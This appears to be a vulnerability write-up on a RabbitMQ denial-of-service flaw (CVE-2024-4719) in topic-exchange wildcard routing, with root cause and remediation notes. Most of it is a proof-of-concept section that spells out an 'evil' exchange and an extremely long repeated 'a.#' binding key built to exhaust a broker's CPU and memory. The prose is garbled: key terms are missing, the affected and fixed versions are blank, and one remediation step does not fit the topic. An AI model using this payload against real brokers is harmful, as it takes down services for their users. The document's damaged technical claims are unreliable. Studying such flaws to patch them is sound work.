RabbitMQ CVE-2024-4719: Authenticated DoS via Combinatorial Routing in Topic Exchange

RabbitMQ Vulnerability Summary Vulnerability Overview Vulnerability Name: Consecutive topic wildcards cause combinatorial routing work Vulnerability Type: Denial of Service (DoS) / Resource Exhaustion Severity: High (CVSS 3.1: 7.1) CVE Number: CVE-2024-4719 Description: Authenticated users can bind queues to a topic exchange containing consecutive segments in the binding key (e.g., ). When such a binding is matched against a routing key of comparable depth, RabbitMQ's routing engine enters a combinatorial recursion, leading to CPU and memory exhaustion. Root Cause: 1. Lack of Binding Key Syntax Validation: Topic exchanges allow binding keys that contain consecutive segments. 2. Non-Memoized Recursive Matcher: The matching algorithm repeatedly traverses the same subtrees when encountering consecutive wildcards, leading to exponentially increasing computational overhead. 3. Deduplication Occurs After Traversal: Results are deduplicated only after the entire (potentially massive) recursive traversal is complete, causing intermediate states to consume significant memory. Affected Scope Affected Software: Affected Versions: Fixed Version: Prerequisites for Attack: The attacker possesses an authenticated account. The attacker can bind queues to a topic exchange. The attacker can publish messages to the exchange. The binding key contains adjacent segments. Remediation Recommended Fixes: 1. Memoize Matching State: Cache visited states (nodes, remaining routing key positions) during recursive matching, reducing combinatorial recursion to polynomial complexity. 2. Collapse Adjacent Segments: Merge adjacent segments during routing, as is semantically equivalent to . 3. Rebuild All Active Projection Versions: Apply the aforementioned fixes. 4. Limit Work Per Routing / Wildcard Depth: Limit or reject pathological traversals by enforcing limits in the definition. 5. Add Regression Tests: Ensure that the equal-depth consecutive wildcard benchmark remains bounded at a fixed depth. POC / Exploit Code 1. Triggering the Vulnerability (via Normal Client) Create a topic exchange, a queue, and a binding with a key consisting of repeated segments, then publish a message with a routing key consisting of s. ```text exchange: evil (type=topic) queue: evilq binding key: a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.a.#.

Goal Reached Thanks to every supporter — we hit 100%!

RabbitMQ CVE-2024-4719: Authenticated DoS via Combinatorial Routing in Topic Exchange

More from this source